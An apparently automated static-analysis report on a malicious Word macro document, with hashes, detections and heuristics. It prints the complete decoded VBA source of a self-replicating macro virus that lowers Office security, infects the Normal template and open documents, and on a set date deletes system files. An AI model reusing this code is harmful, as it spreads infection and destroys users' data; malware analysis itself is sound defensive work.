Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e889e1318ac511ed…

MALICIOUS

Office (OLE)

31.5 KB Created: 2006-11-14 21:00:00 Authoring application: Microsoft Word 10.1 First seen: 2015-04-05
MD5: ba3aaaf0e5a78dd09008a706a649ab53 SHA-1: 58d15ca5775a928014c89c54bdebe953f7cc901e SHA-256: e889e1318ac511ed0285605408680d1e6bf399951019ca874e2b245586b7bb0b
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains VBA macros that attempt to lower macro security settings and replicate themselves into the Normal template, indicating a persistence mechanism. The ClamAV detections 'Win.Trojan.Psycho-3' and 'Doc.Trojan.Thus-10' further support its malicious nature. The VBA code explicitly manipulates registry keys related to Office security and template code.

Heuristics 4

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
           NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
       .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
       .CodeModule.CountOfLines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
'Bethlem'

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3867 bytes
SHA-256: 67e8cab82c3395712263635e3ef7b6b4885893cd86cf83566ebbfd7264c3cb4a
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Bethlem'
    On Error Resume Next
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
       CommandBars("Macro").Controls("Security...").Enabled = False
       System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    Else
       CommandBars("Tools").Controls("Macro").Enabled = False
       'I know that you see the code!!!!!
       'Bethlem loves you
       Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1):
       Options.CheckSpellingAsYouType = (1 - 1): Options.CheckGrammarWithSpelling = (1 - 1):
       ActiveDocument.ShowGrammaticalErrors = (1 - 1): ActiveDocument.ShowSpellingErrors = (1 - 1):
       ActiveDocument.SpellingChecked = True
    End If
'    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Bethlem?") = "...by PPC"
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Bethlem'" Then
       NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
       .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
       .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
       NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
       .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
       .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
       .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
       If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Bethlem'" Then
          Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
          .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
          .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
       End If
       If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
          Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
          .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
          .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
          .VBComponents.Item(1).CodeModule.CountOfLines)
       End If
    Next k
    If (Day(Now) = 11) And (Month(Now) = 3) Then
       MsgBox "Happy Birthday"
       File = Dir("c:\*.sys", 6)
       For BA = 1 To 10
          SetAttr "c:\" & File, vbNormal
          File = Dir
          If File = "" Then BA = 10
       Next BA
       Set fs = Application.FileSearch
       With fs
          .LookIn = "C:\"
          .FileName = "*.sys"
          .FileType = msoFileTypeAllFiles
          If .Execute(SortBy:=msoSortByFileName, _
             SortOrder:=msoSortOrderAscending) > 0 Then
             BC = .FoundFiles.Count
             File = Dir("c:\*.sys")
             For B = 1 To BC
                SetAttr "c:\" & File, vbNormal
                Kill ("c:\" & File)
                File = Dir
             Next B
          End If
       End With
       Set myRange = ActiveDocument.Range(Start:=0, End:=Selection.End)
       For Each xWord In myRange.Words
          xWord.Delete
          ActiveDocument.UndoClear
       Next xWord
    'Microsoft thanks for the examples are very useful
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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